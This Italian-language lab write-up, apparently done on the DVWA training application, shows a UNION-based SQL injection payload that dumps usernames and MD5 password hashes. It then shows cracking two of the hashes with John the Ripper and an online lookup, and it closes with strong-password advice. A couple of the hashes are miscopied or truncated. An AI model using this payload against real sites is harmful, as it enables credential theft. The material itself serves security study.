



### Vulnerability: SQL Injection

```
User ID:

' UNION SELECT user,password [Submit]

ID: 'UNION SELECT user, password FROM users#
First name: admin
Surname: 5f4dccc3b5aa765d61d8327deb882cf99

ID: 'UNION SELECT user, password FROM users#
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: 'UNION SELECT user, password FROM users#
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 'UNION SELECT user, password FROM users#
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: 'UNION SELECT user, password FROM users#
First name: smithy
Surname: 5f4dccc3b5aa765d61d8327deb882cf99
```

Basandoci sull'attacco di tipo SQL injection fatto ieri, avvalendoci di un tool preinstallato nella macchina kali linux chiamato John the Ripper, possiamo provare una serie di combinazioni criptate nello stesso tipo di hash che stiamo cercando di scoprire, dato che la criptazione di tipo MD5 è irreversibile bisogna per forza avvalersi di questo tipo di ricerca "a dizionario" fino ad azzeccare la combinazione corretta.

Questo tipo di vulnerabilità del metodo di criptazione danneggia solo chi usa password deboli e scontate dato che come in un bruteforce più lunga e complessa la password è, meno sono le possibilità che un software di questo tipo abbia effetto, e se si usa una combinazione seguendo le best practice come una lunghezza superiore a 12 caratteri con numeri e simboli e un rinnovo a cadenza annuale l'efficacia dell'attacco viene annullata quasi completamente.

5f4dcc3b5aa765d61d8327	Decripta md5()
------------------------	----------------

```
md5-decrypt("5f4dcc3b5aa765d61d8327deb882cf99")
```

password

## Md5 Decrypt & Encrypt

e99a18c428cb38d5f260853678922e03

Encrypt

Decrypt

e99a18c428cb38d5f260853678922e03 : **abc123**

La pericolosità di usare password scontate come in questo caso è lampante dato che basta inserire i codici in un qualsiasi sito accessibile a tutti su internet per ottenere una corrispondenza in pochi secondi.